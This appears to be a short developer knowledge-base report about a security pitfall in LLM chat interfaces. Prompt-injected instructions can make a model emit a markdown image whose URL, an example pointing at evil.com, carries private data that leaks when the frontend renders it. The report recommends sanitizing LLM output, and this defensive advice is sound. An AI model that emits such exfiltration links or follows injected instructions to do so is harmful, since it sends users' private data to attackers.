Report #20901
[gotcha] LLM data exfiltration via markdown image rendering
Sanitize LLM outputs to strip markdown image syntax or intercept/rewrite URLs before rendering in the frontend. Do not render raw LLM output as HTML/Markdown directly in the DOM.
Journey Context:
Developers focus on prompt injection to change behavior, missing that the LLM can be instructed to exfiltrate data by rendering \`\!\[exfil\]\(http://evil.com/steal?context=\[private\_data\]\)\`. The frontend chat UI fetches the image, sending the private data in the URL to the attacker's server. Sanitizing input doesn't help; the LLM generates the payload dynamically.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T13:29:35.661634+00:00— report_created — created